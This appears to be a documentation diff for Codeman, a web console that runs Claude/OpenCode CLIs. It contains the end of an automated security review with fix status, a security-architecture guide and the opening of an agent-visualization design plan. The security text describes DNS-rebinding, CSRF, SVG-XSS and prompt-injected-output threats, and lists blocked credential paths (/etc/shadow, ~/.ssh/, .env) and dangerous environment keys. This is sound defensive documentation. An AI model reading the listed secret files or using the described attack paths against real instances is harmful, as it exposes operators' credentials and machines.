+- **Input validation** funnels through Zod + `parseBody`; env-override allowlist enforces the `CLAUDE_CODE_`/`OPENCODE_` prefix **and** a `BLOCKED_ENV_KEYS` set (`PATH`, `LD_PRELOAD`, `NODE_OPTIONS`, …) re-checked at apply time.
+- **Auth pipeline internals** are competent: timing-safe Basic compare, 256-bit opaque server-side session tokens, rejection-sampled base62 QR codes over 256-bit tokens with single-use atomic consumption, `logger:false` (no credential logging).
+- **Same-uid "attacks"** (tmux socket input injection, `/proc/<pid>/environ`, tmux `showenv` key disclosure) were refuted as already inside the OS trust boundary — a same-user process can already do anything to its peers.
+
+---
+
+## Implementation status (2026-06-09)
+
+Priority fixes 1–3 + 5 landed in the same session (verified live with curl/ws against an isolated instance):
+
+- ✅ **C1** — `Host`-header allowlist (`registerHostGuard` in `middleware/auth.ts`, policy in `network-auth-policy.ts`). Allows loopback/any-IP-literal/bind-host/`.ts.net`/`.trycloudflare.com`/`.cfargotunnel.com`/active-tunnel/`CODEMAN_ALLOWED_HOSTS`; rejects rebound custom domains.
+- ✅ **C2** — global `text/plain` parser no longer JSON-parses (crash-diag self-parses); plus the global cross-site Origin guard.
+- ✅ **H1, H3, H6** — global Origin/CSRF guard on all non-GET routes (covers self-update, session create/input, settings/tunnel).
+- ✅ **H4** — escaped all AI-derived sinks in `panels-ui.js` (tool name, tool detail, toolUseId, displayText).
+- ✅ **H5** — Origin/Host check on the WebSocket upgrade (`ws-routes.ts`).
+- ⏳ **H2** — deferred: needs signed-tag infra (no maintainer key yet); `npm ci --ignore-scripts` would break node-pty's native build, so not applied blindly.
+- ⏳ **CSP `unsafe-inline` removal** — deferred: inline `onclick=` handlers are pervasive; needs a nonce migration (H4's sink-escaping already neutralizes the known XSS).
+
+Tests: `test/network-host-guard.test.ts` (19), `test/routes/ws-routes.test.ts` (22). Operational note: any custom reverse-proxy domain must be added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`.
+
+## Remediation priority
+
+1. **Add a `Host`-header allowlist** (`onRequest`, pre-routing). → kills C1, blunts H5/H6 rebinding. *Highest value, smallest change.*
+2. **Remove the global `text/plain` JSON parser + add a global same-origin/CSRF guard** on all non-GET routes. → kills C2, H1, H3, H6; blunts M7. Reuse the `paste-image` pattern globally.
+3. **Drop CSP `unsafe-inline` and `escapeHtml()` the subagent panel fields** (`panels-ui.js:808-811,1403`). → kills H4, closes L2/L3.
+4. **Add tag-signature/commit verification to the self-updater** + `npm ci --ignore-scripts`. → kills H2.
+5. **Validate Origin/Host on the WS upgrade** (`ws-routes.ts:62`). → kills H5.
+6. **Refuse to start a tunnel / non-loopback bind without a password** (or auto-generate one). → closes the operational HIGH + M4 + H6's precondition.
+7. Sweep the MEDIUMs: M1 (argv tmux sinks), M2 (hook secret), M5 (tail validator), M7 (push SSRF allowlist).
+
+*Generated by an automated adversarial multi-agent review (97 agents, ~4.8M tokens). Findings were independently verified but should be confirmed by a human before remediation; the live-confirmed exploits (C1, C2) are the highest-confidence items.*

docs/security-architecture.md

@@ -0,0 +1,505 @@
+# Security Architecture
+
+This document describes Codeman's security model: how it decides who may reach
+the web UI, how requests are authenticated, how the file-serving and tmux layers
+are hardened, and the recommended ways to expose an instance safely.
+
+Codeman spawns and drives Claude/OpenCode CLIs with
+`--dangerously-skip-permissions`. **Anyone who can reach an unauthenticated
+instance can run arbitrary commands as your user.** The defaults below are chosen
+so that a fresh install is safe on the machine it runs on, while remote access is
+an explicit, guided opt‑in.
+
+> TL;DR — Codeman binds **loopback only (`127.0.0.1`) by default**, so out of the
+> box it is reachable only from the same machine and needs no password. To reach
+> it from elsewhere, either put it behind an **authenticated tunnel**
+> (`tailscale serve` / `cloudflared`) **or** bind a wider host **and set
+> `CODEMAN_PASSWORD`**. If you bind a non‑loopback host with no password, Codeman
+> still starts but prints a **loud warning** telling you how to secure it.
+
+---
+
+## Contents
+
+1. [Network binding model](#1-network-binding-model)
+2. [Authentication](#2-authentication)
+3. [Request‑origin trust & the tunnel caveat](#3-requestorigin-trust--the-tunnel-caveat)
+4. [Recommended remote‑access setups](#4-recommended-remoteaccess-setups)
+5. [File‑serving hardening](#5-fileserving-hardening)
+6. [tmux launch hardening](#6-tmux-launch-hardening-cod31)
+7. [Supply‑chain & build‑asset hardening](#7-supplychain--buildasset-hardening-cod28)
+8. [Multi‑instance isolation](#8-multiinstance-isolation)
+9. [Transport security headers](#9-transport-security-headers)
+10. [Quick reference](#10-quick-reference)
+
+---
+
+## Trust model
+
+**The security boundary is the network bind plus authentication — not the code Codeman
+runs.** Because sessions launch with `--dangerously-skip-permissions`, the web UI is by
+design a remote‑code‑execution surface for whoever is allowed to reach it. Everything
+below exists to control *who* that is.
+
+| Actor | Reaches the UI when… | Is granted |
+|-------|----------------------|------------|
+| Same‑machine user | Always (default loopback bind) | Full session control — the intended local‑use case. |
+| Authenticated remote client | Tunnel/LAN reachability **and** a valid password or session cookie | Full session control. |
+| Unauthenticated remote client | Only if you bind a non‑loopback host with no password | Full session control — the exact case every default and warning works to prevent. |
+| Clients behind a loopback‑connecting tunnel | A reverse tunnel terminates on `127.0.0.1` | Inherit `req.ip = 127.0.0.1`, so they hit the localhost‑only exemptions (§3) unless a password is set. |
+
+**Explicitly out of scope.** Codeman is access control for the operator console, not a
+sandbox for the code that console runs. It does **not** defend against: a compromised
+local user account (loopback is trusted), malicious contents in a workspace you
+deliberately open, or the breadth of filesystem a session's `workingDir` is pointed at
+(§5).
+
+---
+
+## 1. Network binding model
+
+| Setting | Default | Source |
+|---------|---------|--------|
+| Bind host | `127.0.0.1` (loopback) | `--host` / `CODEMAN_HOST` → `WebServer` ctor |
+| Port | `3000` | `--port` / `CODEMAN_PORT` |
+| TLS | off (`--https` to enable) | `--https` |
+
+### Bind host classification
+
+`isLoopbackBindHost()` (`src/web/network-auth-policy.ts`) decides whether a bind
+host is loopback-only. It returns `true` for:
+
+- `localhost`
+- any IPv4 in `127.0.0.0/8` (e.g. `127.0.0.1`, `127.42.0.9`)
+- IPv6 loopback `::1` (bracketed `[::1]` and the long form `0:0:0:0:0:0:0:1`)
+- IPv4‑mapped loopback `::ffff:127.*`
+
+It returns `false` for `0.0.0.0`, `::` (all interfaces), LAN IPs, and hostnames.
+The classification is **fail‑safe in the dangerous direction**: any host that is
+not provably loopback is treated as non‑loopback (it never mistakes `0.0.0.0`
+for loopback). Shorthand forms like `127.1` or integer/octal IPs classify as
+non‑loopback (you'll get a warning, not a silent wide‑open bind) — use
+`127.0.0.1` for an unambiguous loopback bind.
+
+### Startup policy (the "warn, don't block" rule)
+
+At `WebServer.start()`:
+
+| Bind host | `CODEMAN_PASSWORD` | Behavior |
+|-----------|--------------------|----------|
+| loopback (default) | unset | **Start.** Safe — reachable only from this machine. |
+| loopback | set | **Start.** Auth required even locally. |
+| non‑loopback | set | **Start.** Auth protects the open bind. |
+| non‑loopback | unset | **Start + LOUD warning** listing how to secure it. |
+| non‑loopback | unset, `--allow-unauthenticated-network` | **Start + terse acknowledged note.** |
+
+> History: an earlier iteration (unreleased COD‑29) *refused to start* on a
+> non‑loopback bind without a password. That surprised setups that "just worked"
+> before, so **0.9.0 changed it to start‑and‑warn**. Loopback is still the safe
+> default; the warning (with three concrete fixes) replaces the hard failure.
+
+The warning points at three ways to secure the instance:
+
+1. `CODEMAN_PASSWORD=<password>` — turns on HTTP Basic auth (see §2).
+2. `--host 127.0.0.1` + an authenticated tunnel (`cloudflared` / `tailscale serve`).
+3. `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1`
+   — explicitly accept the risk (downgrades the warning to a one‑line note). This
+   flag is **only** an acknowledgement; it does not change reachability.
+
+`CODEMAN_API_URL` (used by hooks/child processes) is always derived as a loopback
+address (`0.0.0.0`/`localhost`/`::1` → `127.0.0.1`) so in‑process hooks reach the
+server over loopback regardless of the public bind.
+
+---
+
+## 2. Authentication
+
+Auth is **optional** and controlled by env vars captured at startup:
+
+- `CODEMAN_USERNAME` (default `admin` when only a password is set)
+- `CODEMAN_PASSWORD`
+
+When `CODEMAN_PASSWORD` is unset, no auth is enforced — which is why the default
+loopback bind matters. The auth pipeline (`src/web/middleware/auth.ts`,
+`onRequest` hook) runs in this order:
+
+1. **Localhost‑only exemptions** (always first): `POST /api/hook-event` and the QR
+   `/q/` short‑code path are exempt when `req.ip` is loopback (see §3). While the
+   **managed tunnel is running**, the hook‑event exemption additionally requires
+   the per‑instance `X-Codeman-Hook-Secret` header (COD‑54); failed presentations
+   are rate‑limited in a **dedicated bucket** (separate from Basic‑Auth failures)
+   so misfiring hooks can never lock out the login path.
+2. **Session cookie** check — a valid `codeman_session` cookie short‑circuits to
+   allow.
+3. **HTTP Basic** check — correct credentials short‑circuit to allow and clear
+   that IP's failure counter.
+4. **Rate‑limit gate** — if neither cookie nor credentials passed and the IP is
+   locked out, return `429` with a `Retry-After` header.
+5. Otherwise return `401`, incrementing the IP's failure counter.
+
+### Session cookies
+
+On successful Basic auth the server issues `codeman_session`, an opaque
+server‑side token (`randomBytes(32)`), valid 24h with auto‑extend and device
+context for the audit log. Tokens are **not** client‑signed — they're validated
+by presence in a server‑side map, so they cannot be forged offline.
+
+### Rate limiting / lockout recovery
+
+Failed auth is tracked **per IP**: 10 failures → `429`, with a 15‑minute decay.
+The QR path has its own separate limiter.
+
+The lockout check sits **after** the cookie/credential checks (step 4, not first).
+This is deliberate: a user with a **valid cookie or correct password recovers
+immediately** even while an attacker is hammering the same IP — important because
+all traffic through a tunnel shares one source IP (loopback). Wrong credentials
+are still counted and still hit the `429` at the threshold, so brute‑force
+protection is unchanged.
+
+---
+
+## 3. Request‑origin trust & the tunnel caveat
+
+`req.ip` is derived from the **TCP socket only** — Fastify runs with
+`trustProxy: false`, so `X-Forwarded-For` / `X-Real-IP` / `Forwarded` are
+**ignored**. A remote client cannot forge `req.ip` to `127.0.0.1`.
+
+**However**, a reverse tunnel that connects to the server over loopback (e.g.
+`cloudflared --url http://localhost:3000`) makes **every tunneled request arrive
+with `req.ip = 127.0.0.1`**. The localhost‑only exemptions then treat those
+requests as local:
+
+- `POST /api/hook-event` — auth‑exempt for loopback **only while no managed tunnel
+  is running**. When Codeman's own tunnel is up, the exemption requires the
+  per‑instance shared secret (`X-Codeman-Hook-Secret`, 256‑bit hex in
+  `~/.codeman/hook-secret`, mode 0600, COD‑54). Local hook commands read the
+  secret file at execution time (`$CODEMAN_HOOK_SECRET_FILE`, exported into every
+  managed session), so they keep working — tunneled internet traffic can't know
+  it. Even without the secret the impact is bounded: the route is
+  `HookEventSchema`‑validated and requires a valid in‑memory `sessionId`; it can
+  drive respawn signals, SSE broadcasts, push notifications, and transcript
+  watching — **not** arbitrary terminal input or file reads. ⚠️ The gate keys off
+  the **managed** tunnel — an externally run loopback proxy (your own
+  `cloudflared`, `tailscale serve`) is invisible to it, so the plain loopback
+  exemption still applies there (prefer `tailscale serve`, which authenticates at
+  the tailnet layer). Hook configs regenerated since COD‑54 always present the
+  header, so a future release can require the secret unconditionally.
+- QR `/q/` — still protected by its own short‑code brute‑force limiter
+  (10 failures / 60s against a 62⁶ space).
+
+**Mitigation:** set `CODEMAN_PASSWORD` whenever a loopback‑connecting tunnel is
+up — it gates everything except the (secret‑gated) hook exemption and is the
+documented practice; since COD‑55 enabling the managed tunnel **refuses** to start
+without it unless `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` explicitly
+acknowledges the exposure. Prefer `tailscale serve` (below), which authenticates
+at the tailnet layer so untrusted clients never reach the loopback port at all.
+
+### Host‑header & Origin allowlist (DNS‑rebinding & CSRF defense)
+
+Since **0.9.5** an **always‑on** `onRequest` hook (`registerHostGuard`,
+`src/web/middleware/auth.ts`; policy in `src/web/network-auth-policy.ts`) runs
+**before** the auth pipeline in §2 and guards **every** request — including the
+localhost‑only exemptions above, SSE, the WebSocket upgrade, and static files. It
+closes the browser‑driven RCE path (DNS rebinding plus a cross‑site `text/plain`
+`POST`) that the loopback‑no‑password default otherwise exposed to any site the
+operator merely visits.
+
+- **Host allowlist (anti‑DNS‑rebinding).** The `Host` header is validated on
+  **every** request, all methods. A custom domain rebound to `127.0.0.1` is
+  rejected with `403 Forbidden: host not allowed` before any handler runs. Allowed:
+  `localhost`; **any** IP literal (IPv4/IPv6 — a browser hitting a numeric address
+  can't be a rebinding victim); the bind host; the suffixes `.ts.net`,
+  `.trycloudflare.com`, `.cfargotunnel.com`; the hostname of the active
+  Codeman‑managed tunnel; and anything in `CODEMAN_ALLOWED_HOSTS`. A missing/empty
+  `Host` is rejected.
+- **Origin / CSRF guard.** On **state‑changing** methods (everything except
+  `GET`/`HEAD`/`OPTIONS`) the `Origin` header must also pass the same allowlist,
+  else `403 Forbidden: cross‑site request blocked`. A **missing `Origin` is
+  allowed** (so `curl`, the CLI, and Claude Code hooks keep working); only a
+  present‑but‑foreign origin — or the opaque `null` origin (sandboxed iframe) — is
+  rejected. This blocks the cross‑site CSRF that could previously create sessions,
+  trigger self‑update, or flip `tunnelEnabled`.
+- **Raw `text/plain` bodies.** The global `text/plain` content‑type parser no
+  longer JSON‑parses bodies — it hands handlers the raw string (`/api/crash-diag`
+  self‑parses its beacon payload). This removes the CORS "simple request" CSRF
+  vector, where a cross‑site `fetch` with `Content-Type: text/plain` smuggled a
+  JSON body into a write route with no preflight — defense‑in‑depth alongside the
+  Origin guard.
+- **WebSocket upgrades.** The terminal WS upgrade (`src/web/routes/ws-routes.ts`)
+  runs the **same** Host + Origin check and closes with code `4003` on failure
+  (anti‑CSWSH).
+
+The policy is rebuilt per request from
+`buildHostPolicy(bindHost, tunnelManager.getUrl())`, so starting or stopping a
+tunnel at runtime updates the allowlist with no restart.
+
+> **Reverse‑proxy operators:** a custom proxy domain (e.g. `codeman.example.com`)
+> is **not** in the default allowlist and gets `403 host not allowed`. Add it via
+> `CODEMAN_ALLOWED_HOSTS` — comma‑separated, case‑insensitive; an exact hostname
+> matches only itself, while a leading‑dot entry (`.corp.internal`) matches the
+> bare domain **and** all subdomains. Behaviour is covered by
+> `test/network-host-guard.test.ts`.
+
+---
+
+## 4. Recommended remote‑access setups
+
+Ordered most‑to‑least recommended:
+
+### A. Tailscale serve (recommended)
+
+Bind loopback, let Tailscale front it on your tailnet with a real cert:
+
+```bash
+codeman web --https            # binds 127.0.0.1:3000
+tailscale serve --bg https / http://127.0.0.1:3000
+```
+
+Only devices on your tailnet can reach it; Tailscale handles identity. No app
+password and no `0.0.0.0` bind required. (This is the maintainer's production
+setup.)
+
+### B. Authenticated cloudflared tunnel + password
+
+```bash
+export CODEMAN_PASSWORD=<password>
+codeman web --https
+cloudflared tunnel --url https://localhost:3000
+```
+
+Always set `CODEMAN_PASSWORD` here — the tunnel connects over loopback, so the
+hook‑event exemption (§3) would otherwise be reachable from the public URL.
+
+### C. Direct LAN bind + password
+
+```bash
+export CODEMAN_PASSWORD=<password>
+codeman web --https --host 0.0.0.0
+```
+
+Exposes the port on all interfaces; the password is the only thing protecting it.
+
+### Avoid
+
+`--host 0.0.0.0` **without** a password. Codeman will start (and warn), but
+anyone on the network can control your Claude sessions. Never re‑expose `0.0.0.0`
+without a password.
+
+---
+
+## 5. File‑serving hardening
+
+Three routes serve workspace files; all require a valid `sessionId` and run the
+shared path validator `validateSessionFilePath()` (`src/web/route-helpers.ts`):
+it `realpath`s the target **before** the boundary check and rejects anything that
+escapes the session working directory (`..`, absolute paths, and symlinks that
+resolve outside). The realpath‑before‑check ordering closes the validation‑time
+TOCTOU window.
+
+| Route | Cap | Notes |
+|-------|-----|-------|
+| `file-content` | 10 MB | text preview |
+| `file-raw` | 50 MB | inline MIME map; **`X-Content-Type-Options: nosniff` on all responses** |
+| `POST /api/download` | 50 MB | forced `attachment`; sensitive‑path blocklist |
+
+### SVG / content‑type XSS
+
+A workspace `.svg` served inline as `image/svg+xml` is a stored‑XSS vector (SVG
+can carry `<script>`, same‑origin = full session control). `file-raw` therefore
+serves `.svg` as `application/octet-stream` + `Content-Disposition: attachment` +
+`nosniff`. The control here is the **`octet-stream` + `attachment` + `nosniff`
+combination**, which forces a download instead of a render — not the CSP: the
+policy's `script-src` allows `'unsafe-inline'` (§9), so a same‑origin HTML
+document *would* be able to run inline scripts if the browser ever rendered it.
+By the same combination, other text types (`.html`, `.xml`, …) that fall through
+to `octet-stream` are downloaded, not executed. Trusted QR/welcome SVGs are
+injected from API JSON (`innerHTML`), not via `file-raw`, so they are unaffected.
+
+### Download sensitive‑path blocklist
+
+`/api/download` additionally refuses a blocklist of sensitive paths
+(`/etc/shadow`, `~/.ssh/`, `.env`, `*credentials*`, `.aws/credentials`, …). This
+is **defense‑in‑depth, not the primary boundary** — the realpath containment is
+the control. The blocklist patterns are shared (`src/web/sensitive-path.ts`) with
+the attachment guard below.
+
+### External attachments (registry) & the magic‑link trust boundary
+
+Live external attachments (`src/attachment-registry.ts`) mint an `att_<uuid>` id
+for a host file so browser requests carry the id, never an absolute path. Serving
+is by id (`GET /api/sessions/:id/attachments/:attachmentId/raw`, 50 MB cap,
+`nosniff`) and re‑resolves the symlink + re‑checks the **attachment guard**
+(`src/config/attachment-guard.ts`: the shared sensitive‑path blocklist **plus**
+the `/root` and `/etc` trees, extendable via `attachmentBlockedPaths` /
+`CODEMAN_ATTACHMENT_BLOCKED_PATHS`) on every request. Unlike the workspace file
+routes, attachments are intentionally **cross‑workspace** — so the effective gate
+is the blocklist + a 6‑extension allowlist (`png/pdf/docx/pptx/md/txt`), not
+realpath containment.
+
+Two registration paths, with **different trust**:
+
+- **Explicit `POST /api/sessions/:id/attachments`** (and `codeman attach`, which
+  POSTs directly inside a managed session) — a deliberate, Origin‑guarded HTTP
+  request. Allowed cross‑workspace (subject to the guard). This is the supported
+  path for codeman‑publish and the `~/.codeman` review‑card loop.
+- **Terminal `codeman://attach?path=…` magic links** — scanned passively from
+  session output. Terminal output is **attacker‑influenceable** (a prompt‑injected
+  session can print an arbitrary path), and registration here is server‑side with
+  no Origin gate and broadcasts the `rawUrl` over SSE to all clients. This path is
+  therefore **force‑confined to the session workspace** (`forceWorkspaceConfinement`
+  in `registerExternalAttachment`, wired in `WebServer.registerAttachment`),
+  regardless of the global confine setting — a passive magic link cannot expose a
+  file outside the session's own workspace. Cross‑workspace attach must go through
+  the explicit POST path above.
+
+### SSE log‑tail route — intentional extra read roots
+
+The live file‑tail SSE route (`FileStreamManager`, used to stream a growing log
+into the UI) does **not** use `validateSessionFilePath`; it has its own validator
+with a deliberately **wider** allowlist: the session `workingDir` **plus two
+read‑only log roots — `/var/log` and `~/logs`** — so operators can tail
+system/app logs. `/tmp` is intentionally excluded (world‑writable). Like the
+other routes it `realpath`s the target and re‑checks right before spawning `tail`
+(TOCTOU guard), and it is read‑only. This is the one place the per‑session
+boundary is intentionally relaxed; on a password‑protected remote deployment an
+authenticated user can therefore read `/var/log` and `~/logs` outside their
+session dir. (Security review M5: this divergence is by design and is now
+documented here rather than silently diverging from the per‑session claim above.)
+
+### Known limitation — `workingDir` scope
+
+The file‑route boundary is the session's `workingDir`, and `POST /api/sessions`
+currently accepts an arbitrary absolute `workingDir` (validated as "exists + is a
+directory"). A session created with `workingDir=/` can therefore read files
+across the filesystem within that boundary. This is **pre‑existing** across all
+file routes and not widened by the recent changes. Recommended follow‑up:
+constrain `workingDir` to an allowlist (e.g. under the cases dir / `$HOME`).
+
+---
+
+## 6. tmux launch hardening (COD‑31)
+
+New sessions and respawns launch the tmux server/pane from a stable `/tmp`
+(`TMUX_LAUNCH_CWD`) and then `cd` into the real workspace **inside** the pane,
+against the live mount table:
+
+```
+respawn-pane -k -c /tmp -t <session> bash -c "cd <workingDir> && <cmd>"
+```
+
+This avoids a class of failures on FUSE/rclone‑mounted workspaces where a
+transient mount blip at launch poisons tmux's long‑lived cwd and crashes
+`new-session`. Safety properties:
+
+- **Fail‑safe cwd:** the command is `cd "<dir>" && <cmd>` — if `cd` fails the CLI
+  does **not** run in `/tmp`; the pane dies with a visible error instead.
+- **No injection:** `workingDir` passes `isValidWorkingDir` (absolute, rejects
+  `;&|$\`(){}<>'"` and newlines and `..`) and `isValidPath`, and is double‑quoted
+  in the pane command. Paths with spaces work; metacharacters are rejected before
+  reaching the shell.
+- It does not change which tmux socket is targeted, so instance isolation (§8) is
+  preserved.
+
+---
+
+## 7. Supply‑chain & build‑asset hardening (COD‑28)
+
+- **Dependency advisories:** security‑sensitive ranges are bumped to patched
+  versions, and `overrides` force patched transitive deps (`picomatch`,
+  `basic-ftp`, `fast-uri`, `flatted`). `test/dependency-security.test.ts` asserts
+  these stay patched in the lockfile.
+- **Lockfile integrity:** `npm run check:lockfile` (CI on every push/PR) fails on
+  drift between `package.json` and `package-lock.json`. All lockfile entries
+  resolve to `registry.npmjs.org` with `sha512` integrity hashes.
+- **Public‑asset checker:** `npm run check:public-assets`
+  (`scripts/check-public-assets.mjs`) scans `src/web/public/**` for literal NUL
+  bytes and runs `node --check` on every `.js` file (syntax validation), plus a
+  Prettier pass on maintained files. It uses `execFileSync` with argv arrays (no
+  shell), so filenames/content cannot inject commands; `node --check` only parses,
+  never executes. Large hand‑formatted/generated assets (`app.js`, the gesture
+  bundle, vendored libs) are `.prettierignore`d for the style pass, but the NUL +
+  syntax checks still cover them.
+
+---
+
+## 8. Multi‑instance isolation
+
+The tmux socket (`tmux -L codeman[-<instance>]`) and data dir
+(`~/.codeman[-<instance>]`) are **process‑wide and shared by every Codeman on the
+machine**, derived from `CODEMAN_INSTANCE` (`src/config/instance.ts`). A second
+instance on the **same** socket discovers and attaches PTYs to the first
+instance's live sessions. To run instances side by side, give each a distinct
+`CODEMAN_INSTANCE` (scopes both dir + socket), or set `CODEMAN_TMUX_SOCKET` +
+`CODEMAN_DATA_DIR` individually. `CODEMAN_INSTANCE` defaults to empty = the
+production layout (`~/.codeman`, `-L codeman`, port 3000).
+
+---
+
+## 9. Transport security headers
+
+`registerSecurityHeaders` (`src/web/middleware/auth.ts`) applies on every response:
+
+- **`Content-Security-Policy`** — baseline `default-src 'self'`, with these
+  deliberate widenings (so the policy is tighter than "self only" but every
+  exception is enumerated and same‑origin‑first):
+  - `script-src` / `style-src` / `font-src` also allow `https://cdn.jsdelivr.net`
+    (CDN fallback for a few libraries). `script-src` and `style-src` additionally
+    allow `'unsafe-inline'` — relevant to the SVG/HTML handling in §5, where the
+    `octet-stream` + `nosniff` download (not the CSP) is what blocks execution.
+    Because `'unsafe-inline'` is still present (removing it needs a nonce
+    migration), AI‑derived strings rendered into the subagent/activity panels are
+    HTML‑escaped at the injection sites (`escapeHtml` in
+    `src/web/public/constants.js`; sinks in `panels-ui.js` / `subagent-windows.js`)
+    so a hostile tool name or argument can't execute — defense‑in‑depth from the
+    2026‑06‑09 review (H4).
+  - `connect-src` allows `wss://api.deepgram.com` (streaming voice input).
+  - `img-src` allows `data:` and `blob:` (inline / generated images, QR codes).
+  - `frame-ancestors 'self'`.
+  - **Gesture opt‑in (`CODEMAN_GESTURE=1`):** `script-src` gains
+    `'wasm-unsafe-eval'` and a `worker-src 'self' blob:` directive is added, for
+    self‑hosted MediaPipe. Its wasm runtime + model are same‑origin under
+    `/gesture/`, so no extra `connect-src` entry is needed. OFF by default, so the
+    production CSP is byte‑for‑byte unchanged.
+- **`X-Content-Type-Options: nosniff`** — blocks MIME sniffing (pairs with §5).
+- **`X-Frame-Options: SAMEORIGIN`** — clickjacking defense (mirrors
+  `frame-ancestors 'self'`).
+- **`Strict-Transport-Security: max-age=31536000; includeSubDomains`** — only when
+  served over HTTPS (`--https`).
+- **CORS** — `Access-Control-Allow-Origin` is reflected **only** for origins whose
+  hostname is `localhost` / `127.0.0.1` / `::1`; any other origin gets no CORS
+  headers. `OPTIONS` preflights are answered `204`.
+
+---
+
+## 10. Quick reference
+
+| Env / flag | Effect |
+|------------|--------|
+| `CODEMAN_PASSWORD` (+ `CODEMAN_USERNAME`) | Enable HTTP Basic auth |
+| `--host` / `CODEMAN_HOST` | Bind host (default `127.0.0.1`) |
+| `CODEMAN_ALLOWED_HOSTS` | Extra `Host`/`Origin` allowlist entries for reverse proxies (comma‑separated; exact host, or leading‑dot `.suffix` for subdomains) — see §3 |
+| `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK` | Acknowledge an unauthenticated non‑loopback bind (downgrades the warning) |
+| `--https` | Enable TLS (adds HSTS) |
+| `CODEMAN_INSTANCE` | Scope tmux socket + data dir for isolation |
+| `CODEMAN_GESTURE=1` | Make the gesture overlay available (widens CSP) |
+
+**Audit log:** session lifecycle and server start are recorded in
+`~/.codeman/session-lifecycle.jsonl`.
+
+### Key source files
+
+| Concern | File |
+|---------|------|
+| Bind‑host classification, env‑flag parsing, Host/Origin allowlist (`buildHostPolicy` / `isAllowedRequestHost` / `isAllowedRequestOrigin`) | `src/web/network-auth-policy.ts` |
+| Start‑and‑warn policy | `src/web/server.ts` (`WebServer.start()`) |
+| Auth pipeline, rate limiting, security headers, CORS, Host/Origin guard (`registerHostGuard`) | `src/web/middleware/auth.ts` |
+| File‑path containment (realpath‑before‑check) | `src/web/route-helpers.ts` (`validateSessionFilePath`) |
+| File routes, caps, SVG handling, download blocklist | `src/web/routes/file-routes.ts` |
+| Instance/socket/data‑dir scoping | `src/config/instance.ts` |
+
+---
+
+> **Maintenance note:** the behaviours above were verified against the source on
+> 2026‑06‑09. When you change auth, the bind policy, CSP/headers, or the file
+> routes, update this document in the same change — several sections quote exact
+> values (caps, CSP directives, TTLs) that drift silently otherwise.

docs/ultracode-agent-viz-plan.md

@@ -0,0 +1,271 @@
+# Ultracode / Workflow Agent Visualization — Design & Implementation Plan
+
+> **Status: IMPLEMENTED (2026-06-15, rev. 3) — Phases 1–3 shipped & verified; Phase 4 (live-transcript link) deferred.** A dedicated, opt-in **master-detail tab** (`showUltracodeAgents`, default OFF) shows ultracode/Workflow runs as Claude Code's "working agents" TUI: LEFT = runs + phases (selectable tasks), RIGHT = each run's agents with model, live state, **tokens burned**, and **tool calls**.
+>
+> ### What rev. 3 changed vs. rev. 2 (decided during implementation against on-disk truth)
+> 1. **UI is a master-detail TAB, not grouped floating subagent windows.** The user asked for the CC "working agents" view (left task picker, right agent stats). Built as a new docked panel `#ultracodeAgentsPanel` (clones `.subagents-panel` master-detail CSS) + `src/web/public/ultracode-panel.js` — NOT via `openSubagentWindow`/grouped windows.
+> 2. **STANDALONE — zero edits to `subagent-watcher.ts`.** w16-claudeman's commit `f6a30d7` already discovers the per-agent workflow *transcripts* (`watchWorkflowDirs`). The data the view needs (run/phase/per-agent tokens+toolCalls) lives in the *run-state* JSON, read by a brand-new `src/workflow-run-watcher.ts` (globs the disjoint `…/workflows/wf_*.json` tree). No shared files with w16.
+> 3. **No per-agent transcript streaming needed for v1.** The run-state JSON already carries `tokens`/`toolCalls`/`state`/`label`/`phase` per agent, so the whole view reads from `wf_<runId>.json` alone. (Phase 4 will optionally link a card to its already-tracked transcript via `agentId` — no watcher edits.)
+> 4. **Agent states are `start | progress | done`** (verified on disk) — NOT running/queued. `start`=queued (no agentId/tokens/toolCalls yet), `done` has `durationMs`/`resultPreview`.
+> 5. **The run JSON's `script` (15–660KB embedded JS), `scriptPath`, `result`, `logs` are STRIPPED in the watcher** before caching/broadcast (a 28-agent run drops 174KB → ~25KB; `promptPreview`/`resultPreview` truncated).
+> 6. **SSE/snapshot ship lightweight run SUMMARIES (no `agents[]`); the RIGHT pane fetches the full run** via `GET /api/workflows/:runId` on selection. (A 25-run snapshot is ~20KB vs ~900KB if it carried every agent.) The LEFT list shows ALL cached runs (LRU-bounded), not a recency window — a run browser must show past runs.
+>
+> _Original rev. 2 proposal (grouped floating windows, extending subagent-watcher) preserved below for context; superseded by the above._
+
+### What changed in rev. 2 (vs. the first draft)
+
+1. **No backend cross-watcher coupling.** The per-agent label/phase/agentType/state **join moves to the frontend at render time** — the run object already carries every agent's entry keyed by `agentId`. This deletes `subagent-watcher`'s backward dependency on `workflow-run-watcher` (`getAgentLabel()` + its TTL cache), removes the registration-vs-run-state **race** (labels always track the latest `workflow:run_updated`), and drops the per-agent `meta.json` read from the hot path.
+2. **`SubagentInfo` grows by 2 fields, not 4** (`isWorkflowAgent`, `workflowRunId`) — both derivable from the file path alone at registration, zero extra I/O. `agentType`/`label`/`phase`/`state` come from the run object on the frontend.
+3. **The `isInternalAgent` bypass covers BOTH drop sites** — `registerAgentFile` *and* the late re-resolution in `processEntry`. The first draft named only one.
+4. **De-duplicated.** Each trap (`journal.jsonl`, the `projects/*/*/workflows` depth, the gate-mismatch lesson, reuse-not-rebuild) is stated once in its owning section.
+
+### Code-reuse verified against the tree (2026-06-14)
+
+Confirmed present and shaped as assumed: `subagent-watcher.ts` — `watchSubagentDir`/`registerAgentFile`/`tailFile`/`processEntry`, `getRecentSubagents`, `isInternalAgent` (drops on `MIN_DESCRIPTION_LENGTH=5`), `STARTUP_MAX_FILE_AGE_MS=4h`, `MAX_TRACKED_AGENTS`, `knownSubagentDirs`/`dirWatchers`. `team-watcher.ts` — `configMtimes` mtime-skip + chokidar + `setInterval` poll. `server.ts` — `setupSubagentWatcherListeners`, `getLightState()` (`subagents: getRecentSubagents(15)`, `LIGHT_STATE_CACHE_TTL_MS=1000`), `isSubagentTrackingEnabled()` (`settings.subagentTrackingEnabled ?? true`). Frontend — `_SSE_HANDLER_MAP`, `this.subagents` Map, `handleInit`/`cleanupAllFloatingWindows`, `renderSubagentPanel`/`_renderSubagentPanelImmediate`, `getTeammateBadgeHtml`, `openSubagentWindow` + `.subagent-window-parent` sub-header.
+
+## 1. The enabling fact: on-disk artifacts
+
